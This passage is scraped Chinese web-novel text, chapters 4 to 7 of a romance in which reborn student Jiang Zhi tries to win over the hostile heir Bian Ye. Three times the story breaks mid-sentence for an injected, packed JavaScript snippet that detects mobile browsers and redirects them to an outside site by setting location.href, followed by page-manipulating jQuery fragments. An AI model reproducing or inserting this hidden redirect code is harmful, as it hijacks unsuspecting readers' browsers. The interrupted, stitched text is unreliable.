包装纸都没打开,大黑已经馋得流口水了,兴奋地左右抬脚。 边野随手打开,是个炸鸡腿。 姜栀这会儿面颊涨红,恨不得找个地洞钻进去。 这是池念放学前特意塞给她的,她哪里知道会引来大黑。 “你还要?”边野低眸看她,漫不经心地问。 她总觉得他是在看笑话。 “不……不要了,给大黑吃吧。”姜栀羞的声音都压下去了,抓着书包的手都尬出了汗。 大黑像是听懂了她的话,兴奋地呜出声。 边野把鸡腿的炸层拨了,才丢给大黑,“去吧。” 大黑一口咬住,心满意足地摇着尾巴跟佩姨走。 姜栀垂着眼拉起书包,在老太太地招呼下往客厅里走。 临近门时,耳边响起边野懒散的嗓音:“看着文弱,力气倒是不小。” 她眼睫轻颤,意识到他是说她刚刚拉他躲狗的事儿,耳廓红得滴血,羞窘得厉害。 晚饭准备了很多,很丰盛。姜栀小口小口地吃,全程就听着边野和老太太逗趣调笑,偶尔听到很有意思的,也会忍不住弯弯眼。 黎姨走后,她还是第一次这样放松。 结束后,老太太打发边野帮着佩姨收拾厨房,拉着她到了楼上书房。 她和老太太确实算不上熟悉,即便今天老太太对她很热情慈和,她还是有种放不开的局促。 “坐呀。” 老太太慈祥地招呼她。 “小黎临走前见了我一面,她说她最放心不下的就是小野和你,”老太太拉开抽屉,“她拜托我一定要照顾好你。” 取出两个信封,她转身交给姜栀,“这一份是她为你存的钱,希望你好好读书。另一份是她写给小野的遗书,却没勇气在临死前交给小野。” 姜栀愣住。 “小野跟他妈妈有解不开的心结,要是我交给他,他未必会看。”老太太面露愁容,叹了口气,“他恨他.妈,也恨他爸。” “我这混帐儿子,他对不起小野啊。” 老太太说着有些哽咽,姜栀却无从安慰,心里止不住地发酸。 “小黎为你存的钱你收着。至于这封信,你跟小野是同龄人,奶奶看得出来,你是个好孩子,等什么时候小野不那么莽撞冲动了,你再把这封信给他。” 姜栀心里沉甸甸的,“嗯。” “有什么困难就找奶奶,奶奶帮你。” 老太太握着她的手轻轻拍了拍,褶皱沧桑的眉眼看她时亲切和蔼。 她喉间发堵,顺着老太太把东西收进书包。 走出书房,楼下一声震怒突如其来。 “你这个混帐东西,你要气死你老子是不是!” 沉厚的声音愤懑不已,姜栀被吓到,停在台阶上没下去,小心地偷看。 边野吊儿郎当地坐在沙发上,懒散地支着腿,脸上带着讽刺的笑。眼皮抬都没抬,丝毫没把旁边脸色铁青的边叔叔放在眼里。 “您要死我也拦不住。” 老边总站在客厅里,双手叉着腰,磨着后槽牙才堪堪忍住,“我把你送进学校不是让你天天翘课出去鬼混的,你要是不想读,就来公司上班!” 边野嗤笑一声,散漫嘲弄:“就不怕我把你公司弄倒闭么。” 老边总皱着眉,在客厅里走了两个来回,“你既不想读书又不想到公司来,你到底想干什么?没有你老子托底,你以为你现在能有这么快活吗!” 他脸上漫不经心的神色逐渐消失殆尽,眼底淬了冰似的,“你没资格管我。” “你想在这儿待着随你,不奉陪。”边野神色冷冷,抓了车钥匙,大步流星地出去。 老边总气地跺脚,“谁准你走了?你给我回来!” 边野恍若未闻,停都没停。 杵在楼上的姜栀反应过来,赶紧去追。 老太太一直没有插话,见人走了瞪了老边总一眼,“谁让你来的,我好不容易跟我孙子吃顿饭,你就看不得我清静吗?” 老边总叹了口气,态度软下来,“妈,你怎么也向着他,你知不知道他有多荒唐?一天到晚跟着那些个狐朋狗友鬼混,跟街上的二溜子有什么区别!” “你还好意思说?要不是你跟小黎……小野能变成这副模样吗?你啊你,真把小野逼走了才开心是不是?” 说到亡妻,老边总的气焰一下子被掐灭,喉头滚动,半天说不出话来。 - 这个时节夜里风凉,姜栀追出去的时候,那辆红色跑车正从她面前疾驰过去,像阵风似的。 眨眼的工夫,消失在视线里。 想到边叔叔还在老宅里,她没返回去,慢慢往大门口走。 老宅这块僻静,等走到车流多的地方就有公交站了。 然而刚出大门,姜栀就看见那辆红色跑车停在不远处,不由一愣。 他没走吗? 喇叭声连着按了几下,姜栀感觉到他的不耐烦,赶紧小跑过去。 “上车。”边野瞥她一眼,声音冷淡。 姜栀乖乖去拉后车门。 “我是你司机?”他眉头拧起,语调没好气。 她搭在车门上的手僵住,不让她坐后面,那是要她坐副驾驶吗? 犹豫两秒,姜栀小心翼翼去拉副驾驶的门。 “谢谢。”她声音很轻,像柔软的羽毛,莫名能抚平烦躁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236977|166147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 边野睨了她一眼,踩下油门冲了出去。 一路上,姜栀安静地看着窗外风景,直到发现不是通往市区,越开越偏时,忍不住问了一句:“我们这是去哪儿呀?” 这条路四下无人,路灯昏蒙,远处有山峦映现。 “不是要我给你个机会?”边野嗓音冷淡,“怕就下车。” 仅一瞬,她摇摇头,“不下。” 如果不能让他接纳自己,给他一万次重点资料也会被当成垃圾丢掉。 边野轻嗤一声,像是笑话她初生牛犊不怕虎。 十分钟后,跑车拐上鹤加山。 山上有零星的路灯,周围山势险峻,层峦叠嶂,雾气蒙蒙,姜栀一下车就被一股凉意包裹。 不远处好几个人扎堆聚在一起,有说有笑的,旁边停着几辆摩托。 边野走她前面,少年个头高,黑皮衣外套穿在身上,有种生人勿近的冷漠。 人堆里的宋言旭看到他,笑着把其中一辆钥匙丢给他,“怎么样野哥,我够速度吧,一个电话就把场子给你搞起来了!” 边野接过车钥匙,看到范静宜,瞥了他一眼,“她也是你叫来的?” 宋言旭立马撇清关系,指着张柯,“这可是他带的,不关我事儿啊。” 张柯也是经常混迹在这群人里的一个,他尴尬地笑笑,“正好在一块喝酒呢,就一起过来了。” 范静宜甜甜一笑,夹着嗓子解释:“我还没坐过摩托,听他们说野哥技术好,很想试试,就跟着来了,野哥不会生气吧?” 边野懒得理会,“随你。” 宋言旭鸡皮疙瘩起了一身,背着她翻了个白眼,结果看见跟在边野后面的姜栀,顿时笑颜如花,“哎小妹妹!” 姜栀眉眼弯弯一笑,朝他点点头。 卧.槽,好乖啊。 宋言旭碰了碰边野,“你给人带来的?” “嗯。” 所有人不约而同地看向她。 张柯怪异地与同伴对视一眼,野哥的口味什么时候变得……变得这么特殊了? 他该不会真喜欢这个丑八怪吧? 边野没管这群人异样的眼神,握着车钥匙上.了孔,长腿一跨,稳稳把住摩托。 “老规矩,最后到顶的包一学期金霆。”边野扣上黑色头盔,声音散漫。 宋言旭眼睛都直了,金霆向来高消费,虽然他们不缺钱但有人买单当然更好,但他转头又萎了,“野哥,你要不让让我们哥几个,咱们这些人就没一次赢过你。” 边野睨他一眼,“少废话,来不来?” “来来来,当然来!” 宋言旭赶紧上车戴头盔,转头看了眼乖乖待在原地的姜栀,低声问了一句:“这小妹妹你就让她在这儿傻站着啊。” 姜栀安安静静待着,只等他叫她。 范静宜很不爽地瞥了她一眼,模样矜持地走到边野身边,笑容甜甜,“野哥,我还没体验过,可不可以带着我一起?” 边野的目光从她身上扫过,落在姜栀身上,“过来。” 范静宜脸上的笑僵住,又恍若未闻似的靠近一步,“野哥,她肯定会怕的,还是带我吧。” 姜栀这会儿明白过来,他带她来就是想让她知难而退。 但她偏不。 “我不怕。”她走到边野旁边,琥珀色眼眸亮晶晶地望着他。 5. 第 5 章 边野看她这一副视死如归的样子哼笑一声,回头看了这群人,“谁带的人谁负责,我让你们一分钟。” 宋言旭跃跃欲试。 “这可是你说的,我不客气了啊!”话刚说完,他就扭动把手,一个猛冲疾驰出去,扬起一阵灰雾。 张柯见状,嚎了两声:“跑那么快投胎啊!”转头招呼范静宜上车。范静宜瞥了眼姜栀,心不甘情不愿地上了后座。 几辆摩托马达震天响,眨眼的工夫已经飞驰出去。 “接着。” 一个头盔迎面丢过来,姜栀差点没拿稳。她没带过头盔,笨拙地戴了好一会儿才扣上带子,刚坐到摩托车后座,马达迅猛响起。 下一秒,边野转动把手,“唰”的一下冲出去。 姜栀吓得魂都飞了,不管不顾地攥住他皮衣外套。 周遭树木急速倒退,冷风不住地往头盔里钻,她心脏狂跳。 边野压着身体,看着离他不远的几辆摩托,眉眼一压,毫不犹豫加速。 耳边是呼啸的风声,姜栀紧张得要命,闭紧了双眼。 感官被无限放大。 她感觉自己一会儿往左倒,一会儿往右掉,像是随时都会被甩飞出去。疾驰中几辆摩托马达的声音此起彼伏地充斥耳膜,但很快就被甩远了。 一个眩晕的转圈之后,摩托猛地停下。 姜栀猝不及防地撞在他后背上,脑袋晕乎乎的。 边野转了车钥匙熄火,姿态懒散地倚在车上。他玩摩托求的就是个刺激,要是他爸在,他能不眨眼地撞过去。 “不是不怕吗?” 他从口袋里摸了根烟,叩开打火机点燃,青灰色烟雾在暗夜里缭绕。 怦怦直跳的心脏声中,姜栀缓缓睁开眼睛,双耳嗡鸣,惊魂未定。 松了抓着他皮衣的手,她麻木地从摩托上下来,腿软得差点跪在地上,却仍不改口,“不怕。” 边野斜靠着摩托看她,吐出一口烟圈,哼笑一声。 嘴硬。 姜栀脱下头盔放在后座,他掀起眼皮,发现这张脸惨白得几乎没有血色,像过度受惊的兔子,脆得活不长了似的。 边野拧眉。 他还没来得及开口,姜栀已经小跑到一旁的树边,止不住地干呕。 宋言旭他们姗姗来迟,几辆摩托陆续打了个漂停下。 看到姜栀在那儿干呕,他冲边野摇摇头,“野哥,你是真牛逼啊,为了赢,连这妹妹的死活也不顾了。” 狠心,太狠心了。 边野灭了手里的烟,神色懒懒地盯着他,“要怜香惜玉就自己去,别在这废话。” “得嘞。” 宋言旭掏出瓶矿泉水,走过去递给姜栀,“妹妹,喝点水润润。” 姜栀半靠在树上,一张脸白得像鬼。 “谢谢。”她沙哑着嗓子接过,温温柔柔地拧开瓶盖。 她此刻摘了口罩,脸上的伤疤露出来,宋言旭倒也不觉得有那么吓人。这姑娘气质温柔,又乖巧,就是可惜了没有一张好脸。 他瞥了眼远处的边野,忍不住劝她,“妹妹,你就这么喜欢野哥啊?” “啊?咳咳……”姜栀慢半拍才反应上他的话,含在嘴里的水一下子呛住,脸都咳红了,“我没……” “不值得啊妹妹,咱野哥没心的。”宋言旭压根没听她要说什么,语重心长,“那女的你还有印象吧。” 她咳得好受了点,顺着他的目光看向人堆里的范静宜,点点头。 边野的女朋友么,她记得的。 “虽然我不喜欢那女的,但你知道她追着野哥追了多久么,一年多啊。”宋言旭啧叹一声,有什么用呢,还不是没成功,顶多也就是能在野哥面前比别的女生多晃悠两圈。 姜栀眨巴了下眼睛,范静宜用了一年多就做了他女朋友,这么看来他也不是那么不近人情么。 所以只要她肯坚持,边野未必还会像这样排斥学习。 宋言旭还想再劝两句,却看她眼神亮晶晶的,并没被他刚刚的话打击到,还更有劲儿了,他一脸迷惑。 虽然野哥的脸万里挑一,但也不至于这么的…… 他神色狐疑,“野哥给你下降头了?” 姜栀闻言朝他摇头,“没有啊。” “没有你……?”宋言旭多少说不出太直接的话,只能拐弯抹角地劝她,“其实野哥除了这脸,也没什么特别的,没必要在一棵树上吊死。” “嗯。”她温温柔柔地应声,眉眼弯弯,“谢谢你呀。” 然后—— 宋言旭眼睁睁看着被折磨得够呛的女孩儿转头又回去找边野了。 “?” 他刚刚说的是这意思吗? 边野的摩托就停在悬崖边上,那几个到底胆子小,只敢停在最宽阔的平地上。 范静宜想过去搭两句话,但看他脸色沉淡,有点犹豫。 就这么一会儿,姜栀已经先她一步。 边野把玩着打火机,看见她过来也只是掀了掀眼皮。 “我这算过关了吗?”她还是有点不舒服,但比那会儿好多了,至少腿不那么软了,只是脑袋晕晕的。 边野把打火机丢进口袋,眉头挑起,漫不经心道:“一关而已,急什么?” “好。”姜栀意料之中地笑了下,只要是个好的开始,过程漫长点也没关系。 他冷笑一声,真他.妈会装,跟黎女士一样虚伪。 好像他说什么她都会乖乖应下,不做反抗似的。 宋言旭和张柯走过来,“野哥,赢了不得请客啊!” 边野抬头,没拒绝,“随你们挑。” “那我们可就挑贵的了!”几个人嘻嘻哈哈的说着等会儿要怎么嗨。 边野重新带上头盔,露出的眉眼野性难驯,五官分明而犀利,“走了。” 一声招呼,这些人纷纷启动摩托,吵吵闹闹地开下山。 “边——” 姜栀刚出声,边野已经骑着摩托从她身边飞驰而过,没有要管她死活的意思。 眨眼间,消失在视野里。 她有点摸不着头脑。 怎么突然就不高兴了,是她说错什么了吗? 宋言旭落在后面,回头看了眼追上来的边野,后座空空,惊呆了,“我.靠野哥,你把人妹妹一个人丢在那里了?” 边野懒淡地睨他一眼,“有问题?” 宋言旭:“?” 当然有问题啊! 这大晚上的,又是半山顶,人小妹妹一个人别说下山,恐怕连方向都找不到吧? 野哥简直他.妈的不是人啊! - 姜栀在原地懵了会儿,就顺着他们开走的方向下山。 跟混蛋还能讲什么道理呢。 几分钟后,有车踩压着山路开上来。她谨慎地往回退。 透过前窗玻璃,看到驾驶座上的人是管叔,姜栀暗中松了口气。 她脑子转得快,上车时轻声问:“是他让您来接我的吗?” 毕竟除了边野,边家没人知道她在这儿。 “嗯。”管叔应了一声,想起接到边野电话的时候,语气是真差。 ——“您要是不来接她,那就让她在鹤加山自生自灭吧。” 也不知道这俩孩子到底什么矛盾,闹到这个地步。管叔心疼她,只能替他找补:“少爷还是关心你的,你别记恨他。” 姜栀点点头,她没什么可记恨的,报恩么,本来就不容易,还要遇上边野这样的混蛋。 回到边家,姜栀连打了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236978|166147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好几个喷嚏,管叔担心她在山上受寒,给她煮了锅姜汤。 热气腾腾的,她捧着碗喝了几口就有点喝不下去,生姜味儿太浓了,好呛嗓子。 “味道是冲了点,但是管用,多喝点。” 姜栀乖乖点头,屏着气儿闷了半碗下去。 缓冲的工夫里,她摩挲着碗壁,问出了憋在心里许久的问题:“管叔,边野和边叔叔是为什么变成现在这样啊?” 管叔沉默了片刻,怅惘地叹口气,“这事儿说来话长。” “边黎两家是家族联姻,夫人被家里逼着嫁过来的时候一度没了光彩,不哭不闹但也不会笑了,倒是先生一有空就陪着夫人,渐渐的,夫人也有了点人气。我看在眼里,很是高兴。” “后来小少爷出生,这个家逐渐和谐温暖,但就在小少爷六岁那年,一切戛然而止。” 管叔声音沉下来,带着叹惋,“那天是小少爷生日,夫人带着他去找先生。去的时候还好好的,回来就变了,夫人向来心思重,什么也不说,但看得出来,和先生离心了。” “他们是吵架了吗?”她轻声问。 管叔不置可否,只是平静道:“都不重要了,那天以后先生很少回家,夫人不吵不闹,但大把大把的吃药,人也消瘦下去。因为严重的失眠产生了精神问题,有两次差点杀了小少爷。” 姜栀错愕地睁圆了眼,一时哑然。 她和黎姨只相处过半年,这半年里黎姨对她总是温柔亲和的,她很难想象边野差点被掐死的场面。 “自打先生和夫人之间出了问题以后,没人再关心过少爷,他从前在外面受了欺负,回来想要找夫人,却遇到夫人病情发作,被推下楼梯,受了很重的伤。整个住院期间,边家只有老太太照看过他。” 管叔说着说着眼眶忍不住泛红,歇了会儿才继续说:“从那以后,少爷就成了现在这副模样,对谁都冷冰冰的,浑身是刺。” 姜栀心里五味杂陈。 只是听到这些,她都会觉得沉重,那亲身经历过的边野呢? “那他和边叔叔……打算一辈子这样吗?” 管叔叹了口气,笑得有些苦,“知知还小,不用想这么多,等以后长大了,自然就明白了。”有些东西根深蒂固久了,也就解不开了。 姜栀怅惘地垂下眼睫,心口涨涨的。 喝完姜剩下的汤,她皱巴着小脸放下碗,抱着书包上了楼。 拉开书包拉链,看到里面的两个信封,姜栀有些出神。 那封给边野的信封上写着“小野”二字,字迹娟秀漂亮,像温柔的风。 她几乎能想象出来,黎姨坐在桌前写信的样子,优雅温柔,带着对边野的爱与遗憾,体面地离开这个世界。 到底是经历了什么,最后要以死解脱呢。 姜栀攥着信封,平整地放进抽屉里。 这封信,她一定能找到合适的时候让他认真看完的,而不是成为垃圾。 在劝学之前,她会努力让他先接纳自己。 假期过得飞快,姜栀早早起床去了学校。进教室的路上,总有人用怪异的眼神打量她。 窃窃私语,但声音小,她听不到说的什么。 姜栀有些奇怪。 刚到座位上,池念就神兮兮地盯着她。 “怎么了?”姜栀看了眼周遭不时盯向自己的同学,摸了摸脸上的口罩,不解地问:“是有什么脏东西吗?” 池念摇摇头,一脸审判,“老实交代,你周五去哪儿了?” 她眨了下眼睛,想了想,“去奶奶家吃饭。” 池念扁了扁嘴,有些不高兴,“跟我你还不说实话啊?”她看了眼周围的同学,把人拉近,小声道:“现在外面都传你喜欢边野,上杆子纠缠人家,还追去了鹤加山!” 6. 第 6 章 “我没有。” 姜栀一脸认真地反驳,也不知道这事儿怎么传出去的,但说她追着边野去鹤加山,那不是歪曲事实吗? 池念是了解她的,刚听到这消息的时候,觉得简直离谱到家,知知这么乖巧的学霸,眼里心里都是学习,怎么可能做出这种事? 但他们传得有鼻子有眼的,弄得她也忍不住好奇。这下亲耳听到知知说没有,那可算是放心了。 “没有就好。边野虽然家境好,但我觉得他配不上你,身边莺莺燕燕那么多,肯定是个花心大萝卜!”池念越说越上头。 姜栀抿了抿唇,思索了下,“我没有喜欢他,但确实去了鹤加山。” 池念愣住,“?” “你、你真去了啊?”她觉得自己脑子有点儿反应不过来,“你不喜欢他,你去干嘛?大晚上的看风景啊?” “一两句说不清,”姜栀没法给她说自己和边野的关系,只能囫囵过去,“但不是他们传的那样。”更何况他身边还有个范静宜呢。 如果不是黎姨嘱托,她应该不会和他有交集。 “好吧好吧。”池念还是提醒道:“教导主任抓早恋可严着呢,好学生也不能例外的,要是误会你和边野……总之小心点儿。” “好。”姜栀知道她的好意,柔柔一笑。 池念提醒完忍不住八卦,“知知,我听说边野那群人在鹤加山赛摩托,是不是特别……” “姜栀!” 门口忽然有人喊她,“杜老师找!” 姜栀应了声,临走时看向池念,“等我回来再给你说。” “去吧去吧。” 杜曼蓉是高二一班的班主任,向来信奉严师出高徒。 即便面对好学生也并不宽容。 “你这次月考发挥得很稳定,不要骄傲,要继续努力。” 她从桌上拿过两张表,扶了扶鼻梁上的红框眼镜,“学校月底要举办一场辩论赛,两个区对打。每个班两个名额,赢了不仅可以给班级加分,还能拿到奖金,一张你拿去填了,另一张你带给程杭越。” 西区虽然都是普通家庭出身,但也分程度,班里只有她和程杭越最凄惨。 一个寄人篱下,一个是孤儿。 前世她因为黎姨过世难以接受,一直不在状态,没有参与学校里的任何比赛和活动。 但这一次,她不会再任由自己颓靡。 姜栀应下,接过表格。 “这个竞赛需要培训,每周两次,周二和周五放学,统一在东区的思学楼,你没问题吧?” 她摇头,“没问题的。” “那填好你统一收来。” 杜曼蓉说完,姜栀准备回去,又被她叫住。 她神色肃穆,一板一眼地规训:“你这个年纪最应该做的就是好好读书,别跟些不三不四的人混在一起。” 姜栀稍一想就明白她在说什么。 “人穷志不穷,只有自己最靠得住,别人再有钱那也是别人的,你虽然才转来半年,但老师一直很看好你,要在班里带个好头,知不知道?” 杜曼蓉是高二年级出了名的古板和严厉,像极了那些连孩子休息时间都要把控的母亲。 “嗯,我知道的。”姜栀乖乖应下。 杜曼蓉脸色缓和些,挥挥手让她回去。 姜栀拿着表格回到教室,将其中一张递给了程杭越。 他是个两耳不闻窗外事,一心只读圣贤书的书呆子,向来沉默寡言,很容易钻牛角尖也很固执,但对于学习之外的东西就很生涩。 回到座位上,池念好奇地凑过来,一字一句地读着黑字标题,“关于是否允许中学生早恋辩论。” “辩论赛?你跟程杭越一组?” 姜栀点点头,软声道:“打赢了有奖金的。” 池念看看程杭越,又看看姜栀,“可是知知,我觉得他这个人跟杜老师一样古板,班里都没什么人跟他相处的。” 她轻轻一笑,“班里除了你也没人愿意跟我接触呀。” “这不一样……”池念皱皱眉,又瞥了眼他的背影,“总之这种人,你别跟他起争执。” “放心啦,不会的。” 剩下来的时间,姜栀除了复习知识点,就是整理一些与辩论有关的资料。 等到周五放学,她刚准备喊上程杭越,这人已经先她一步出了教室,丝毫没有等她的意思。 她倒不在意,反正只是培训。 东区高二班。 边野懒散随性地倚在走廊尽头的窗边,手里把玩着打火机,漫不经心地点着烟。 宋言旭从卫生间里出来,边洗手边说:“野哥,听说两个区月底要打辩论赛,就在咱们对面的思学楼培训,要不咱也去凑个热闹吧?” 他眼皮抬都没抬,“没兴趣。” “别啊野哥,我听说西区那边的区花也来了,就当陪我去看看,成不?” 边野掀眼看他,视线很快又收回去。 他倚着墙围,远远看到个往思学楼走去的身影。 很娇小一只,脊背倒是挺直。 “野哥,我还没看过西区新评的区花呢,你要不陪我去,我可就切腹自尽了。”宋言旭夸张地做着动作。 “出息。”边野声音淡淡,却掐了手里的烟往外走。 宋言旭咧嘴一笑,做西子捧心状,“我就是野哥最忠实的信徒。” “别恶心老子。”边野一巴掌拍开。 两人去得晚,思学楼里为辩论赛来培训的学生早就到齐了,老师也已经开讲。 边野推开后门,众人纷纷回头看他,有颜控的女生已经激动地眼神交流起来。 姜栀有点惊讶,他也来参赛? “老师,我来旁听。” 边野懒散一笑,说完也不管老师的意见,往最后排一坐。 他家底雄厚,在学校能横着走,连校长都要礼让三分,区区一个任课老师哪里管得了,只能顺台阶下,“旁听可以,别打扰其他同学听讲。” 边野没反驳,慵然地靠在椅子上。 “好了好了,都回回神。”培训的老师敲敲讲台,继续刚刚的话题讲下去。 哪怕如此,还是有女学生不时地回头偷看边野。 边野虽然混,但在圣嘉是出了名的,长得好看又有钱,再加上特立独行的姿态和性格,对这个年纪的女生有着天然的吸引力。 看到区花,宋言旭心满意足地感慨,“不愧是西区评出来的,真人比论坛照片好看好几倍啊,又清纯又妩媚,真绝!” 区花傅诗语模样矜持地偷看了边野一眼,少年恹恹地垂着眼,没什么兴致地把玩着手里的打火机。 对上宋言旭的目光,她一脸娇羞地收回了视线。 “她刚偷看你好几次,一准对你有意思。”宋言旭一脸八卦。 “边儿去。” 边野连个目光都没给过这区花,懒散地抬起眼皮,好巧不巧地看到前排背对着他的姜栀正拿着资料跟旁边一男生讲解。 从他这个角度,正好能看到她的侧脸。虽然戴着口罩,但露在外面的那双眼睛清透又晶亮,笑起来弯成了月牙儿。 边野转动打火机的手一把叩开,青蓝色火苗一瞬喷出。 这么乐于助人,当什么学生,去做慈善家不好吗? “欸野哥,那个姜什么的妹妹也在哎,真有缘啊。”宋言旭发现新大陆似的给他汇报。 要说他对区花是因为外貌欣赏,那对这妹妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236979|166147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是满心的怜悯了。 多好一女孩儿,偏偏喜欢野哥。 “也不知道在说什么,但怎么看着甜滋滋的呢,这就是学霸之间的电流吗?”宋言旭摩挲着下巴,一脸感慨。 “你话怎么这么多?” 边野灭了打火机,随意往口袋里一塞,摸到烟盒,想到这是教室,干脆走了出去。 宋言旭懵了,“野哥你去哪儿啊!” 听见动静,姜栀下意识回头看了眼,最后排那个位置空空如也。 她心里叹口气,又要找不到人了。 边野站在走廊口,双手搭在墙围上,嘴里吐着烟圈,脸上没什么情绪。 “怎么抽这么凶?”宋言旭从他口袋里摸出一根点上,“不是听得好好的,怎么突然出来,也不打声招呼。” 边野掸了掸烟灰,嗓音散漫:“你要是再废话,我就把你送去物理阉割。” “得。”宋言旭干脆闭嘴。 培训时间不长,下课后,姜栀收拾好书包,跟着人流走。 出了教室门,不期然看到站在走廊口的边野,她惊讶一瞬,居然没走吗? 区花傅诗语在朋友的怂恿下,骄矜地停在他跟前,“西区高二七班傅诗语,可以交个朋友吗?” 她对自己的颜值很自信,目露期待。 宋言旭挑眉,“哟,大美女这么主动啊。” 边野捻灭了烟,余光看见朝这边走来的姜栀,神色散漫地勾唇,“认识我?” 傅诗语笑得落落大方,“边少的大名,我想没人会不知道吧。” “喜欢我?”他把烟头丢进垃圾桶,声音慵懒磁性。 傅诗语脸颊泛起红晕,却坦然承认,“嗯。” 宋言旭在心里啧啧称叹,这区花可真勇啊。 边野哼笑一声,眼里流着旁人看不懂的情绪,“行啊,一起玩玩?” 傅诗语眼睛一亮,压抑着激动,故作矜持,“好啊。” 正巧听到这话的姜栀,忍不住皱眉。 虽然她对范静怡没好感,但既然跟人在一起了,也得好好负责吧,这算什么?脚踏两只船吗? 他可以成绩不好,但为人不能这样。 见她目光复杂地盯着自己,边野嗤笑,“有事?” 姜栀看了眼傅诗语,手指在衣角摩挲了两下,到嘴的话最终还是咽了回去。 算了,还是给他留一点面子吧。 这么多人在呢。 “哑巴了?”边野懒淡挑眉。 她抿抿唇,问起旁的,“我想知道下一关是什么。” 边野好笑地扯了扯唇角,往前走了两步,视线对上她琥珀色的眸子。姜栀再次感觉到那种压迫性。 “看我心情。” 说完,他带着傅诗语潇洒离开。 转角下楼时,傅诗语回头看了眼,意味不明。 离了这层,边野脸上笑意一瞬散了,把被傅诗语碰到的外套直接脱了丢给宋言旭。 傅诗语以为他被那丑八怪坏了心情,声音甜甜地安慰:“边少别见怪,圣嘉的学生都知道你,刚刚那位……她可能因为寄人篱下,家里条件不好,所以才想着跟边少套近乎。” 边野几不可察地拧了下眉。 “女生嘛,都会想有个白马王子来拯救的。”见他没反驳,傅诗语以为自己说到点上了,柔柔一笑,“如果她是我妹妹,我一定会让她以学习为主,不做不切实际的梦。” 边野忽地停下脚步,回头看她,哼笑一声,“那你呢?” 傅诗语不明所以。 见他直勾勾地盯着自己,她面颊绯红,心跳紊乱。 “你是有什么资本,觉得我一定会看上你?”边野眼底冰冷,语调讥讽。 7. 第 7 章 姜栀回到边家天已经黑了,客厅灯火通明。 难得回来的老边总正坐在沙发上,和管叔交谈。 他是生意人,即便模样平和也带着浑然天成的压迫感。 想到那天在老宅,她因为着急追着边野出去,没来得及和他打招呼,心里有些过意不去。 “边叔叔。”姜栀轻软地喊了一声。 老边总冲她点头,“知知回来得正好,叔叔有话跟你说。” 即便是那位的孩子,他也生不起厌来,只是没法像对待小野那样亲近。 姜栀换好鞋,放下书包走过去。 客厅灯光亮,离得近了她才发现边叔叔比第一次见面时苍老了些,头上夹着白发,眼下皱纹也添了几道。 “我今天接到消息,擅长修复疤痕的老专家退休返聘,已经给你约上了疗程,每周去一次,地点管家知道。” 姜栀愣了下,前世她跟边叔叔接触的不多,关系也算不上亲密,自她上大学后更是鲜少见面,只在大二时突然给她找了医生,她的脸才受到医治好全,在此之前受尽白眼。 是因为她重生回来,产生了蝴蝶效应吗? 见她呆着不说话,老边总以为戳到了痛处,沉默了几秒安抚她:“小黎还活着的时候,就一直在替你找医生,但没找到合适的。给你治脸几乎已经成了她的心结。” 提到黎姨,姜栀眼睫轻垂,钝痛密密麻麻钻上来。 “孩子,这是值得高兴的事,你好好治疗,等好了就去让她看看,她一定很高兴。”老边总缓声劝慰。 “嗯。”姜栀红着眼眶应下,把酸涩倒.逼.回去,“谢谢您。” “要谢就谢她吧。”他眼底有说不上来的情绪。 “边叔叔……”她知道要问的也许不合规矩,可想起管叔曾说的那些过往,执着地想求一个答案,“您想念黎姨吗?” 这样一团糟的感情,黎姨却还是向她展示了最温柔的一面,从没给她带来不适和痛苦。 老边总看着她与她父亲极像的眼睛,心里情绪起起伏伏,最终只是笑了笑,“想不想念,都不重要了。” “好了,不说这个了,叔叔想请你帮个忙。” 他从包里拿出一个黑色丝绒盒,“再过不久就是小野的生日了,往年都是小黎把两份礼物交给他,今年小黎不在了,叔叔想请你帮忙转交给他。” 生日…… 她前世竟没注意过这个。 姜栀有点犹豫,她不是不想帮,只是边野对她的态度也算不上好,如果讨厌的人要列个名册,她一定在榜。 “知知,那天你也看到了,他对我这个老子不满到了极点,但你们是同龄人,能说得上话,你转交他兴许还会收。” 此时此刻,她忽然觉得世界上的父母都是一样的,哪怕再有钱有势,也未必能和子女和睦相处。在亲情上,没有人可以占便宜。 姜栀接过了那份礼物,巴掌大的盒子竟觉得沉甸甸的。 不过…… 既然知道了边野的生日,她是不是也该为他准备一份? - 自那次培训见过边野后,一直到周五,她都没再看到他半个影子。 眼看着就要临近他生日,边叔叔交给她的礼物不会连送出去的机会都没有吧。 一场培训结束,姜栀捏着书包带子,慢吞吞往教室外走。 “诗语你看!”有女生兴奋地指着篮球场,“那是不是边野啊?” 声音不小,惹得姜栀即便无意也听见了。 捕捉到关键字,她眼前一亮,顺着女生的指引看向篮球场。 太阳西落,天边残阳如血。 